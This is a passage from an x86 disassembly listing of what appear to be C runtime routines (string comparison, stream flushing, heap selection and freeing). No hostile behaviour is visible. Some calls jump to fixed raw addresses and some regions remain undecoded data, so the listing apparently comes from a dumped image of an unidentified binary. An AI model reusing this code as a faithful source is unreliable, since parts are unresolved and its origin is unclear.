cl loc_41DE77: ; CODE XREF: sub_41DE4A+21j ; sub_41DE4A+26j inc edx cmp [edx], bl jnz short loc_41DE66 jmp short loc_41DEE5 ; --------------------------------------------------------------------------- loc_41DE7E: ; CODE XREF: sub_41DE4A+11j push esi push edi push 1 push ebx push ebx push ebx push 0FFFFFFFFh mov esi, 200h push [ebp+arg_0] push esi push eax call sub_4232A8 mov edi, eax add esp, 20h cmp edi, ebx jz short loc_41DED7 push edi call sub_41BEB5 cmp eax, ebx pop ecx mov [ebp+var_4], eax jz short loc_41DED7 push 1 push ebx push edi push eax push 0FFFFFFFFh push [ebp+arg_0] push esi push dword_4DBE84 call sub_4232A8 add esp, 20h test eax, eax jz short loc_41DED7 push [ebp+var_4] push [ebp+arg_0] call sub_41C890 pop ecx pop ecx loc_41DED7: ; CODE XREF: sub_41DE4A+53j ; sub_41DE4A+61j ... push [ebp+var_4] call sub_41BA91 mov eax, [ebp+arg_0] pop ecx pop edi pop esi loc_41DEE5: ; CODE XREF: sub_41DE4A+1Aj ; sub_41DE4A+32j pop ebx leave retn sub_41DE4A endp ; =============== S U B R O U T I N E ======================================= sub_41DEE8 proc near ; CODE XREF: sub_417E84+1A8p arg_0 = dword ptr 4 cmp dword_43D084, 1 jle short loc_41DEFF push 4 push [esp+4+arg_0] call sub_41FDB5 pop ecx pop ecx retn ; --------------------------------------------------------------------------- loc_41DEFF: ; CODE XREF: sub_41DEE8+7j mov eax, [esp+arg_0] mov ecx, off_43CE78 mov al, [ecx+eax*2] and eax, 4 retn sub_41DEE8 endp ; =============== S U B R O U T I N E ======================================= sub_41DF10 proc near ; CODE XREF: sub_420DB0+76p ; sub_420DB0+88p ... arg_0 = dword ptr 4 cmp dword_43D084, 1 jle short loc_41DF27 push 8 push [esp+4+arg_0] call sub_41FDB5 pop ecx pop ecx retn ; --------------------------------------------------------------------------- loc_41DF27: ; CODE XREF: sub_41DF10+7j mov eax, [esp+arg_0] mov ecx, off_43CE78 mov al, [ecx+eax*2] and eax, 8 retn sub_41DF10 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41DF40 proc near ; CODE XREF: sub_418295+1Dp arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov eax, [esp+arg_8] test eax, eax jz short locret_41DF8C mov edx, [esp+arg_0] push esi push edi mov esi, edx mov edi, [esp+8+arg_4] or edx, edi and edx, 3 jz short loc_41DF8D test eax, 1 jz short loc_41DF6D mov cl, [esi] cmp cl, [edi] jnz short loc_41DFBA inc esi inc edi dec eax jz short loc_41DF8A loc_41DF6D: ; CODE XREF: sub_41DF40+20j ; sub_41DF40+48j mov cl, [esi] mov dl, [edi] cmp cl, dl jnz short loc_41DFBA mov cl, [esi+1] mov dl, [edi+1] cmp cl, dl jnz short loc_41DFBA add edi, 2 add esi, 2 sub eax, 2 jnz short loc_41DF6D loc_41DF8A: ; CODE XREF: sub_41DF40+2Bj ; sub_41DF40+84j pop edi pop esi locret_41DF8C: ; CODE XREF: sub_41DF40+6j retn ; --------------------------------------------------------------------------- loc_41DF8D: ; CODE XREF: sub_41DF40+19j mov ecx, eax and eax, 3 shr ecx, 2 jz short loc_41DFC2 repe cmpsd jz short loc_41DFC2 mov ecx, [esi-4] mov edx, [edi-4] cmp cl, dl jnz short loc_41DFB5 cmp ch, dh jnz short loc_41DFB5 shr ecx, 10h shr edx, 10h cmp cl, dl jnz short loc_41DFB5 cmp ch, dh loc_41DFB5: ; CODE XREF: sub_41DF40+63j ; sub_41DF40+67j ... mov eax, 0 loc_41DFBA: ; CODE XREF: sub_41DF40+26j ; sub_41DF40+33j ... sbb eax, eax pop edi sbb eax, 0FFFFFFFFh pop esi retn ; --------------------------------------------------------------------------- loc_41DFC2: ; CODE XREF: sub_41DF40+55j ; sub_41DF40+59j test eax, eax jz short loc_41DF8A mov edx, [esi] mov ecx, [edi] cmp dl, cl jnz short loc_41DFB5 dec eax jz short loc_41DFE9 cmp dh, ch jnz short loc_41DFB5 dec eax jz short loc_41DFE9 and ecx, 0FF0000h and edx, 0FF0000h cmp edx, ecx jnz short loc_41DFB5 dec eax loc_41DFE9: ; CODE XREF: sub_41DF40+8Fj ; sub_41DF40+96j pop edi pop esi retn sub_41DF40 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41DFEC proc near ; CODE XREF: sub_4185B5+6p ; sub_4185D3+4Ap ... var_4 = byte ptr -4 var_3 = byte ptr -3 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx cmp dword_4DBE84, 0 push ebx push esi push edi jnz short loc_41E019 mov eax, [ebp+arg_0] cmp eax, 41h jl loc_41E0B2 cmp eax, 5Ah jg loc_41E0B2 add eax, 20h jmp loc_41E0B2 ; --------------------------------------------------------------------------- loc_41E019: ; CODE XREF: sub_41DFEC+Ej mov ebx, [ebp+arg_0] mov edi, 100h push 1 cmp ebx, edi pop esi jge short loc_41E04D cmp dword_43D084, esi jle short loc_41E03B push esi push ebx call sub_41FDB5 pop ecx pop ecx jmp short loc_41E045 ; --------------------------------------------------------------------------- loc_41E03B: ; CODE XREF: sub_41DFEC+42j mov eax, off_43CE78 mov al, [eax+ebx*2] and eax, esi loc_41E045: ; CODE XREF: sub_41DFEC+4Dj test eax, eax jnz short loc_41E04D loc_41E049: ; CODE XREF: sub_41DFEC+ADj mov eax, ebx jmp short loc_41E0B2 ; --------------------------------------------------------------------------- loc_41E04D: ; CODE XREF: sub_41DFEC+3Aj ; sub_41DFEC+5Bj mov edx, off_43CE78 mov eax, ebx sar eax, 8 movzx ecx, al test byte ptr [edx+ecx*2+1], 80h jz short loc_41E071 and byte ptr [ebp+arg_0+2], 0 push 2 mov byte ptr [ebp+arg_0], al mov byte ptr [ebp+arg_0+1], bl pop eax jmp short loc_41E07A ; --------------------------------------------------------------------------- loc_41E071: ; CODE XREF: sub_41DFEC+74j and byte ptr [ebp+arg_0+1], 0 mov byte ptr [ebp+arg_0], bl mov eax, esi loc_41E07A: ; CODE XREF: sub_41DFEC+83j push esi push 0 lea ecx, [ebp+var_4] push 3 push ecx push eax lea eax, [ebp+arg_0] push eax push edi push dword_4DBE84 call sub_4232A8 add esp, 20h test eax, eax jz short loc_41E049 cmp eax, esi jnz short loc_41E0A5 movzx eax, [ebp+var_4] jmp short loc_41E0B2 ; --------------------------------------------------------------------------- loc_41E0A5: ; CODE XREF: sub_41DFEC+B1j movzx eax, [ebp+var_3] movzx ecx, [ebp+var_4] shl eax, 8 or eax, ecx loc_41E0B2: ; CODE XREF: sub_41DFEC+16j ; sub_41DFEC+1Fj ... pop edi pop esi pop ebx leave retn sub_41DFEC endp ; =============== S U B R O U T I N E ======================================= sub_41E0B7 proc near ; CODE XREF: sub_418AF1+ADp ; sub_419AE0+55p ... arg_0 = dword ptr 4 mov ecx, [esp+arg_0] cmp word ptr [ecx], 0 lea eax, [ecx+2] jz short loc_41E0CE loc_41E0C4: ; CODE XREF: sub_41E0B7+15j mov dx, [eax] inc eax inc eax test dx, dx jnz short loc_41E0C4 loc_41E0CE: ; CODE XREF: sub_41E0B7+Bj sub eax, ecx sar eax, 1 dec eax retn sub_41E0B7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41E0D4 proc near ; CODE XREF: sub_418AF1+7Fp ; sub_418AF1+90p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp mov edx, [ebp+arg_0] push ebx push esi xor esi, esi xor eax, eax cmp edx, esi push edi jz loc_41E1A1 mov edi, [ebp+arg_8] cmp edi, esi jz loc_41E1CE cmp dword_4DBE84, esi jnz short loc_41E125 cmp edi, esi jbe loc_41E1CE loc_41E104: ; CODE XREF: sub_41E0D4+4Aj mov ecx, [ebp+arg_4] add ecx, eax movzx si, byte ptr [ecx] mov [edx], si cmp byte ptr [ecx], 0 jz loc_41E1CE inc eax inc edx inc edx cmp eax, edi jb short loc_41E104 jmp loc_41E1CE ; --------------------------------------------------------------------------- loc_41E125: ; CODE XREF: sub_41E0D4+26j mov ebx, [ebp+arg_4] mov esi, dword_4270E8 push edi push edx push 0FFFFFFFFh push ebx push 9 push dword_4DBE94 call esi test eax, eax jnz loc_41E1CD nop call near ptr 269086Bh cmp eax, 7Ah jz short loc_41E15F loc_41E150: ; CODE XREF: sub_41E0D4+CBj ; sub_41E0D4+F7j mov dword_4DBDDC, 2Ah or eax, 0FFFFFFFFh jmp short loc_41E1CE ; --------------------------------------------------------------------------- loc_41E15F: ; CODE XREF: sub_41E0D4+7Aj lea ecx, [edi-1] mov eax, ebx mov [ebp+arg_4], ecx loc_41E167: ; CODE XREF: sub_41E0D4+B3j mov cl, [eax] test cl, cl jz short loc_41E189 mov edx, off_43CE78 movzx ecx, cl test byte ptr [edx+ecx*2+1], 80h jz short loc_41E17E inc eax loc_41E17E: ; CODE XREF: sub_41E0D4+A7j mov ecx, [ebp+arg_4] inc eax dec [ebp+arg_4] test ecx, ecx jnz short loc_41E167 loc_41E189: ; CODE XREF: sub_41E0D4+97j push edi sub eax, ebx push [ebp+arg_0] push eax push ebx push 1 push dword_4DBE94 call esi test eax, eax jnz short loc_41E1CE jmp short loc_41E150 ; --------------------------------------------------------------------------- loc_41E1A1: ; CODE XREF: sub_41E0D4+Fj cmp dword_4DBE84, esi jnz short loc_41E1B4 push [ebp+arg_4] call sub_41B9C0 pop ecx jmp short loc_41E1CE ; --------------------------------------------------------------------------- loc_41E1B4: ; CODE XREF: sub_41E0D4+D3j push esi push esi push 0FFFFFFFFh push [ebp+arg_4] push 9 push dword_4DBE94 nop call near ptr 2710000h cmp eax, esi jz short loc_41E150 loc_41E1CD: ; CODE XREF: sub_41E0D4+6Bj dec eax loc_41E1CE: ; CODE XREF: sub_41E0D4+1Aj ; sub_41E0D4+2Aj ... pop edi pop esi pop ebx pop ebp retn sub_41E0D4 endp ; --------------------------------------------------------------------------- db 6Dh dd 7746807Bh, 271B65EAh, 124FBEE6h, 0A164B780h, 0 dd 25896450h, 0 dd 5358EC83h, 65895756h, 0DEE890E8h, 33024737h, 89D48AD2h dd 4DBDF415h, 81C88B00h, 0FFE1h, 0F00D8900h, 0C1004DBDh dd 0CA0308E1h, 0BDEC0D89h, 0E8C1004Dh, 0BDE8A310h, 0F633004Dh dd 440E856h, 85590000h, 6A0875C0h, 0B0E81Ch, 89590000h dd 0C4E8FC75h, 0E8000058h, 2473760h, 0D38CA390h, 82E8004Dh dd 0A3000057h, 4DBE34h, 552BE8h, 546DE800h, 0F9E80000h dd 89FFFFDEh, 458DD075h, 0E89050A4h, 2471D88h, 53FEE8h dd 9C458900h, 1D045F6h, 0B70F0674h, 3EBD445h, 50580A6Ah dd 569C75FFh, 65E89056h, 5002281Dh, 0FE2F80E8h, 0A04589FFh dd 0DEE7E850h, 458BFFFFh, 8B088BECh, 984D8909h, 3CE85150h dd 59000052h, 658BC359h, 9875FFE8h, 0FFDED9E8h db 0FFh ; =============== S U B R O U T I N E ======================================= sub_41E2C9 proc near ; CODE XREF: sub_41DA32+16p ; ___:00423721p ... arg_0 = dword ptr 4 cmp dword_4DBE3C, 1 jnz short loc_41E2D7 call sub_423D98 loc_41E2D7: ; CODE XREF: sub_41E2C9+7j push [esp+arg_0] call sub_423DD1 push 0FFh call off_43AE40 pop ecx pop ecx retn sub_41E2C9 endp ; --------------------------------------------------------------------------- dw 3D83h dd offset dword_4DBE3C dd 0E8057501h, 5A9Ch, 42474FFh, 5ACCE8h, 0FF685900h, 90000000h dd 0A579A4E8h db 77h, 0C3h ; =============== S U B R O U T I N E ======================================= sub_41E312 proc near ; CODE XREF: sub_41BA3B+2Ap ; sub_42423B+290p arg_0 = dword ptr 4 push ebx push ebp push esi push edi mov edi, [esp+10h+arg_0] cmp edi, dword_4DD140 jnb loc_41E3AC mov eax, edi mov esi, edi sar eax, 5 and esi, 1Fh lea ebx, ds:4DD040h[eax*4] shl esi, 3 mov eax, [ebx] test byte ptr [eax+esi+4], 1 jz short loc_41E3AC push edi call sub_4240AA cmp eax, 0FFFFFFFFh pop ecx jz short loc_41E38B cmp edi, 1 jz short loc_41E359 cmp edi, 2 jnz short loc_41E36F loc_41E359: ; CODE XREF: sub_41E312+40j push 2 call sub_4240AA push 1 mov ebp, eax call sub_4240AA pop ecx cmp eax, ebp pop ecx jz short loc_41E38B loc_41E36F: ; CODE XREF: sub_41E312+45j push edi call sub_4240AA pop ecx push eax call near ptr 2670770h nop test eax, eax jnz short loc_41E38B nop call near ptr 269086Bh mov ebp, eax jmp short loc_41E38D ; --------------------------------------------------------------------------- loc_41E38B: ; CODE XREF: sub_41E312+3Bj ; sub_41E312+5Bj ... xor ebp, ebp loc_41E38D: ; CODE XREF: sub_41E312+77j push edi call sub_424030 mov eax, [ebx] pop ecx and byte ptr [eax+esi+4], 0 test ebp, ebp jz short loc_41E3A8 push ebp call sub_420C7F pop ecx jmp short loc_41E3BD ; --------------------------------------------------------------------------- loc_41E3A8: ; CODE XREF: sub_41E312+8Bj xor eax, eax jmp short loc_41E3C0 ; --------------------------------------------------------------------------- loc_41E3AC: ; CODE XREF: sub_41E312+Ej ; sub_41E312+2Fj and dword_4DBDE0, 0 mov dword_4DBDDC, 9 loc_41E3BD: ; CODE XREF: sub_41E312+94j or eax, 0FFFFFFFFh loc_41E3C0: ; CODE XREF: sub_41E312+98j pop edi pop esi pop ebp pop ebx retn sub_41E312 endp ; =============== S U B R O U T I N E ======================================= sub_41E3C5 proc near ; CODE XREF: sub_41BA3B+22p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] mov eax, [esi+0Ch] test al, 83h jz short loc_41E3EE test al, 8 jz short loc_41E3EE push dword ptr [esi+8] call sub_41BA91 and word ptr [esi+0Ch], 0FBF7h xor eax, eax pop ecx mov [esi], eax mov [esi+8], eax mov [esi+4], eax loc_41E3EE: ; CODE XREF: sub_41E3C5+Aj ; sub_41E3C5+Ej pop esi retn sub_41E3C5 endp ; =============== S U B R O U T I N E ======================================= sub_41E3F0 proc near ; CODE XREF: sub_41E490+2Dp ; sub_41E490+48p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] test esi, esi jnz short loc_41E402 push esi call sub_41E490 pop ecx pop esi retn ; --------------------------------------------------------------------------- loc_41E402: ; CODE XREF: sub_41E3F0+7j push esi call sub_41E42B test eax, eax pop ecx jz short loc_41E412 or eax, 0FFFFFFFFh pop esi retn ; --------------------------------------------------------------------------- loc_41E412: ; CODE XREF: sub_41E3F0+1Bj test byte ptr [esi+0Dh], 40h jz short loc_41E427 push dword ptr [esi+10h] call sub_4240E7 neg eax pop ecx pop esi sbb eax, eax retn ; --------------------------------------------------------------------------- loc_41E427: ; CODE XREF: sub_41E3F0+26j xor eax, eax pop esi retn sub_41E3F0 endp ; =============== S U B R O U T I N E ======================================= sub_41E42B proc near ; CODE XREF: sub_41BA3B+1Ap ; ___:0041DAC2p ... arg_0 = dword ptr 4 push ebx push esi mov esi, [esp+8+arg_0] xor ebx, ebx push edi mov eax, [esi+0Ch] mov ecx, eax and ecx, 3 cmp cl, 2 jnz short loc_41E478 test ax, 108h jz short loc_41E478 mov eax, [esi+8] mov edi, [esi] sub edi, eax test edi, edi jle short loc_41E478 push edi push eax push dword ptr [esi+10h] call sub_4230FB add esp, 0Ch cmp eax, edi jnz short loc_41E471 mov eax, [esi+0Ch] test al, 80h jz short loc_41E478 and al, 0FDh mov [esi+0Ch], eax jmp short loc_41E478 ; --------------------------------------------------------------------------- loc_41E471: ; CODE XREF: sub_41E42B+36j or dword ptr [esi+0Ch], 20h or ebx, 0FFFFFFFFh loc_41E478: ; CODE XREF: sub_41E42B+14j ; sub_41E42B+1Aj ... mov eax, [esi+8] and dword ptr [esi+4], 0 mov [esi], eax pop edi mov eax, ebx pop esi pop ebx retn sub_41E42B endp ; =============== S U B R O U T I N E ======================================= sub_41E487 proc near ; CODE XREF: sub_4241E3p push 1 call sub_41E490 pop ecx retn sub_41E487 endp ; =============== S U B R O U T I N E ======================================= sub_41E490 proc near ; CODE XREF: sub_41E3F0+Ap ; sub_41E487+2p arg_0 = dword ptr 4 push ebx push esi push edi xor esi, esi xor ebx, ebx xor edi, edi cmp dword_4DD020, esi jle short loc_41E4EE loc_41E4A1: ; CODE XREF: sub_41E490+5Cj mov eax, dword_4DC01C mov eax, [eax+esi*4] test eax, eax jz short loc_41E4E5 mov ecx, [eax+0Ch] test cl, 83h jz short loc_41E4E5 cmp [esp+0Ch+arg_0], 1 jnz short loc_41E4CB push eax call sub_41E3F0 cmp eax, 0FFFFFFFFh pop ecx jz short loc_41E4E5 inc ebx jmp short loc_41E4E5 ; --------------------------------------------------------------------------- loc_41E4CB: ; CODE XREF: sub_41E490+2Aj cmp [esp+0Ch+arg_0], 0 jnz short loc_41E4E5 test cl, 2 jz short loc_41E4E5 push eax call sub_41E3F0 cmp eax, 0FFFFFFFFh pop ecx jnz short loc_41E4E5 or edi, eax loc_41E4E5: ; CODE XREF: sub_41E490+1Bj ; sub_41E490+23j ... inc esi cmp esi, dword_4DD020 jl short loc_41E4A1 loc_41E4EE: ; CODE XREF: sub_41E490+Fj cmp [esp+0Ch+arg_0], 1 mov eax, ebx jz short loc_41E4F9 mov eax, edi loc_41E4F9: ; CODE XREF: sub_41E490+65j pop edi pop esi pop ebx retn sub_41E490 endp ; =============== S U B R O U T I N E ======================================= sub_41E4FD proc near ; CODE XREF: ___:0041E660p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push 0 and dword ptr [esi], 0 nop call near ptr 26A0000h cmp word ptr [eax], 5A4Dh jnz short loc_41E528 mov ecx, [eax+3Ch] test ecx, ecx jz short loc_41E528 add eax, ecx mov cl, [eax+1Ah] mov [esi], cl mov al, [eax+1Bh] mov [esi+1], al loc_41E528: ; CODE XREF: sub_41E4FD+15j ; sub_41E4FD+1Cj pop esi retn sub_41E4FD endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp mov eax, 122Ch call sub_41C500 lea eax, [ebp-98h] push ebx push eax mov dword ptr [ebp-98h], 94h nop call near ptr 26F0000h test eax, eax jz short loc_41E56D cmp dword ptr [ebp-88h], 2 jnz short loc_41E56D cmp dword ptr [ebp-94h], 5 jb short loc_41E56D push 1 pop eax jmp loc_41E66F ; --------------------------------------------------------------------------- loc_41E56D: ; CODE XREF: ___:0041E551j ; ___:0041E55Aj ... lea eax, [ebp-122Ch] push 1090h push eax push offset a__msvcrt_heap_ ; "__MSVCRT_HEAP_SELECT" nop call near ptr 28A0000h test eax, eax jz loc_41E65C xor ebx, ebx lea ecx, [ebp-122Ch] cmp [ebp-122Ch], bl jz short loc_41E5AF loc_41E59C: ; CODE XREF: ___:0041E5ADj mov al, [ecx] cmp al, 61h jl short loc_41E5AA cmp al, 7Ah jg short loc_41E5AA sub al, 20h mov [ecx], al loc_41E5AA: ; CODE XREF: ___:0041E5A0j ; ___:0041E5A4j inc ecx cmp [ecx], bl jnz short loc_41E59C loc_41E5AF: ; CODE XREF: ___:0041E59Aj lea eax, [ebp-122Ch] push 16h push eax push offset a__global_heap_ ; "__GLOBAL_HEAP_SELECTED" call sub_41C850 add esp, 0Ch test eax, eax jnz short loc_41E5D1 lea eax, [ebp-122Ch] jmp short loc_41E61A ; --------------------------------------------------------------------------- loc_41E5D1: ; CODE XREF: ___:0041E5C7j lea eax, [ebp-19Ch] push 104h push eax push ebx nop call near ptr 2680000h cmp [ebp-19Ch], bl lea ecx, [ebp-19Ch] jz short loc_41E605 loc_41E5F2: ; CODE XREF: ___:0041E603j mov al, [ecx] cmp al, 61h jl short loc_41E600 cmp al, 7Ah jg short loc_41E600 sub al, 20h mov [ecx], al loc_41E600: ; CODE XREF: ___:0041E5F6j ; ___:0041E5FAj inc ecx cmp [ecx], bl jnz short loc_41E5F2 loc_41E605: ; CODE XREF: ___:0041E5F0j lea eax, [ebp-19Ch] push eax lea eax, [ebp-122Ch] push eax call sub_41C2E0 pop ecx pop ecx loc_41E61A: ; CODE XREF: ___:0041E5CFj cmp eax, ebx jz short loc_41E65C push 2Ch push eax call sub_41C990 pop ecx cmp eax, ebx pop ecx jz short loc_41E65C inc eax mov ecx, eax cmp [eax], bl jz short loc_41E641 loc_41E633: ; CODE XREF: ___:0041E63Fj cmp byte ptr [ecx], 3Bh jnz short loc_41E63C mov [ecx], bl jmp short loc_41E63D ; --------------------------------------------------------------------------- loc_41E63C: ; CODE XREF: ___:0041E636j inc ecx loc_41E63D: ; CODE XREF: ___:0041E63Aj cmp [ecx], bl jnz short loc_41E633 loc_41E641: ; CODE XREF: ___:0041E631j push 0Ah push ebx push eax call sub_41C586 add esp, 0Ch cmp eax, 2 jz short loc_41E66F cmp eax, 3 jz short loc_41E66F cmp eax, 1 jz short loc_41E66F loc_41E65C: ; CODE XREF: ___:0041E586j ; ___:0041E61Cj ... lea eax, [ebp-4] push eax call sub_41E4FD cmp byte ptr [ebp-4], 6 pop ecx sbb eax, eax add eax, 3 loc_41E66F: ; CODE XREF: ___:0041E568j ; ___:0041E650j ... pop ebx leave retn ; --------------------------------------------------------------------------- dw 0C033h dd 4439006Ah, 680824h, 0F000010h, 0E850C094h, 2491978h dd 0A3C08590h, 4DD384h, 93E83674h, 83FFFFFEh, 88A303F8h dd 75004DD3h, 3F8680Dh, 24E80000h, 59000000h, 0F8830AEBh dd 0E8187502h, 0B5Eh, 0F75C085h, 0D38435FFh, 54E8004Dh dd 90024827h, 6AC3C033h, 68C35801h, 140h, 35FF006Ah, 4DD384h dd 191EE890h, 0C085023Ch, 4DD37CA3h, 0C3017500h, 4244C8Bh dd 0D3742583h, 8300004Dh, 4DD37825h, 16A0000h, 4DD370A3h dd 800D8900h, 0C7004DD3h, 4DD36805h, 1000h db 0, 58h, 0C3h ; =============== S U B R O U T I N E ======================================= sub_41E717 proc near ; CODE XREF: sub_41BA91+17p ; sub_41BBE2+4Cp ... arg_0 = dword ptr 4 mov eax, dword_4DD378 lea ecx, [eax+eax*4] mov eax, dword_4DD37C lea ecx, [eax+ecx*4] loc_41E727: ; CODE XREF: sub_41E717+26j cmp eax, ecx jnb short loc_41E73F mov edx, [esp+arg_0] sub edx, [eax+0Ch] cmp edx, 100000h jb short locret_41E741 add eax, 14h jmp short loc_41E727 ; --------------------------------------------------------------------------- loc_41E73F: ; CODE XREF: sub_41E717+12j xor eax, eax locret_41E741: ; CODE XREF: sub_41E717+21j retn sub_41E717 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41E742 proc near ; CODE XREF: sub_41BA91+23p ; sub_41BBE2+A4p ... var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 10h mov ecx, [ebp+arg_0] push ebx push esi mov esi, [ebp+arg_4] mov eax, [ecx+10h] push edi mov edi, esi add esi, 0FFFFFFFCh sub edi, [ecx+0Ch] shr edi, 0Fh mov ecx, edi imul ecx, 204h lea ecx, [ecx+eax+144h] mov [ebp+var_10], ecx mov ecx, [esi] dec ecx test cl, 1 mov [ebp+var_4], ecx jnz loc_41EA66 mov edx, [ecx+esi] lea ebx, [ecx+esi] mov [ebp+var_C], edx mov edx, [esi-4] mov [ebp+var_8], edx mov edx, [ebp+var_C] test dl, 1 mov [ebp+arg_4], ebx jnz short loc_41E818 sar edx, 4 dec edx cmp edx, 3Fh jbe short loc_41E7A6 push 3Fh pop edx loc_41E7A6: ; CODE XREF: sub_41E742+5Fj mov ecx, [ebx+4] cmp ecx, [ebx+8] jnz short loc_41E7FA cmp edx, 20h jnb short loc_41E7D1 mov ebx, 80000000h mov ecx, edx shr ebx, cl lea ecx, [edx+eax+4] not ebx and [eax+edi*4+44h], ebx dec byte ptr [ecx] jnz short loc_41E7F2 mov ecx, [ebp+arg_0] and [ecx], ebx jmp short loc_41E7F2 ; --------------------------------------------------------------------------- loc_41E7D1: ; CODE XREF: sub_41E742+6Fj lea ecx, [edx-20h] mov ebx, 80000000h shr ebx, cl lea ecx, [edx+eax+4] not ebx and [eax+edi*4+0C4h], ebx dec byte ptr [ecx] jnz short loc_41E7F2 mov ecx, [ebp+arg_0] and [ecx+4], ebx loc_41E7F2: ; CODE XREF: sub_41E742+86j ; sub_41E742+8Dj ... mov ecx, [ebp+var_4] mov ebx, [ebp+arg_4] jmp short loc_41E7FD ; --------------------------------------------------------------------------- loc_41E7FA: ; CODE XREF: sub_41E742+6Aj mov ecx, [ebp+var_4] loc_41E7FD: ; CODE XREF: sub_41E742+B6j mov edx, [ebx+8] mov ebx, [ebx+4] add ecx, [ebp+var_C] mov [edx+4], ebx mov edx, [ebp+arg_4] mov [ebp+var_4], ecx mov ebx, [edx+4] mov edx, [edx+8] mov [ebx+8], edx loc_41E818: ; CODE XREF: sub_41E742+56j mov edx, ecx sar edx, 4 dec edx cmp edx, 3Fh jbe short loc_41E826 push 3Fh pop edx loc_41E826: ; CODE XREF: sub_41E742+DFj mov ebx, [ebp+var_8] and ebx, 1 mov [ebp+var_C], ebx jnz loc_41E8C9 sub esi, [ebp+var_8] mov ebx, [ebp+var_8] sar ebx, 4 push 3Fh mov [ebp+arg_4], esi dec ebx pop esi cmp ebx, esi jbe short loc_41E84B mov ebx, esi loc_41E84B: ; CODE XREF: sub_41E742+105j add ecx, [ebp+var_8] mov edx, ecx mov [ebp+var_4], ecx sar edx, 4 dec edx cmp edx, esi jbe short loc_41E85D mov edx, esi loc_41E85D: ; CODE XREF: sub_41E742+117j cmp ebx, edx jz short loc_41E8C4 mov ecx, [ebp+arg_4] mov esi, [ecx+4] cmp esi, [ecx+8] jnz short loc_41E8AC cmp ebx, 20h jnb short loc_41E88D mov esi, 80000000h mov ecx, ebx shr esi, cl not esi and [eax+edi*4+44h], esi dec byte ptr [ebx+eax+4] jnz short loc_41E8AC mov ecx, [ebp+arg_0] and [ecx], esi jmp short loc_41E8AC ; --------------------------------------------------------------------------- loc_41E88D: ; CODE XREF: sub_41E742+12Dj lea ecx, [ebx-20h] mov esi, 80000000h shr esi, cl not esi and [eax+edi*4+0C4h], esi dec byte ptr [ebx+eax+4] jnz short loc_41E8AC mov ecx, [ebp+arg_0] and [ecx+4], esi loc_41E8AC: ; CODE XREF: sub_41E742+128j ; sub_41E742+142j ... mov ecx, [ebp+arg_4] mov esi, [ecx+8] mov ecx, [ecx+4] mov [esi+4], ecx mov ecx, [ebp+arg_4] mov esi, [ecx+4] mov ecx, [ecx+8] mov [esi+8], ecx loc_41E8C4: ; CODE XREF: sub_41E742+11Dj mov esi, [ebp+arg_4] jmp short loc_41E8CC ; --------------------------------------------------------------------------- loc_41E8C9: ; CODE XREF: sub_41E742+EDj mov ebx, [ebp+arg_0] loc_41E8CC: ; CODE XREF: sub_41E742+185j cmp [ebp+var_C], 0 jnz short loc_41E8DA cmp ebx, edx jz loc_41E95B loc_41E8DA: ; CODE XREF: sub_41E742+18Ej mov ecx, [ebp+var_10] mov ebx, [ecx+edx*8+4] lea ecx, [ecx+edx*8] mov [esi+4], ebx mov [esi+8], ecx mov [ecx+4], esi mov ecx, [esi+4] mov [ecx+8], esi mov ecx, [esi+4] cmp ecx, [esi+8] jnz short loc_41E95B mov cl, [edx+eax+4] cmp edx, 20h mov byte ptr [ebp+arg_4+3], cl inc cl mov [edx+eax+4], cl jnb short loc_41E932 cmp byte ptr [ebp+arg_4+3], 0 jnz short loc_41E921 mov ebx, 80000000h mov ecx, edx shr ebx, cl mov ecx, [ebp+arg_0] or [ecx], ebx loc_41E921: ; CODE XREF: sub_41E742+1CFj mov ebx, 80000000h mov ecx, edx shr ebx, cl lea eax, [eax+edi*4+44h] or [eax], ebx jmp short loc_41E95B ; --------------------------------------------------------------------------- loc_41E932: ; CODE XREF: sub_41E742+1C9j cmp byte ptr [ebp+arg_4+3], 0 jnz short loc_41E948 lea ecx, [edx-20h] mov ebx, 80000000h shr ebx, cl mov ecx, [ebp+arg_0] or [ecx+4], ebx loc_41E948: ; CODE XREF: sub_41E742+1F4j lea ecx, [edx-20h] mov edx, 80000000h shr edx, cl lea eax, [eax+edi*4+0C4h] or [eax], edx loc_41E95B: ; CODE XREF: sub_41E742+192j ; sub_41E742+1B7j ... mov eax, [ebp+var_4] mov [esi], eax mov [eax+esi-4], eax mov eax, [ebp+var_10] dec dword ptr [eax] jnz loc_41EA66 mov eax, dword_4DD374 test eax, eax jz loc_41EA58 mov ecx, dword_4DD36C mov esi, dword_427068 shl ecx, 0Fh add ecx, [eax+0Ch] mov ebx, 8000h push 4000h push ebx push ecx call esi mov ecx, dword_4DD36C mov eax, dword_4DD374 mov edx, 80000000h shr edx, cl or [eax+8], edx mov eax, dword_4DD374 mov ecx, dword_4DD36C mov eax, [eax+10h] and dword ptr [eax+ecx*4+0C4h], 0 mov eax, dword_4DD374 mov eax, [eax+10h] dec byte ptr [eax+43h] mov eax, dword_4DD374 mov ecx, [eax+10h] cmp byte ptr [ecx+43h], 0 jnz short loc_41E9E9 and dword ptr [eax+4], 0FFFFFFFEh mov eax, dword_4DD374 loc_41E9E9: ; CODE XREF: sub_41E742+29Cj cmp dword ptr [eax+8], 0FFFFFFFFh jnz short loc_41EA58 push ebx push 0 push dword ptr [eax+0Ch] call esi mov eax, dword_4DD374 push dword ptr [eax+10h] push 0 push dword_4DD384 nop call near ptr 27D0000h mov eax, dword_4DD378 mov edx, dword_4DD37C lea eax, [eax+eax*4] shl eax, 2 mov ecx, eax mov eax, dword_4DD374 sub ecx, eax lea ecx, [ecx+edx-14h] push ecx lea ecx, [eax+14h] push ecx push eax call sub_41D670 mov eax, [ebp+arg_0] add esp, 0Ch dec 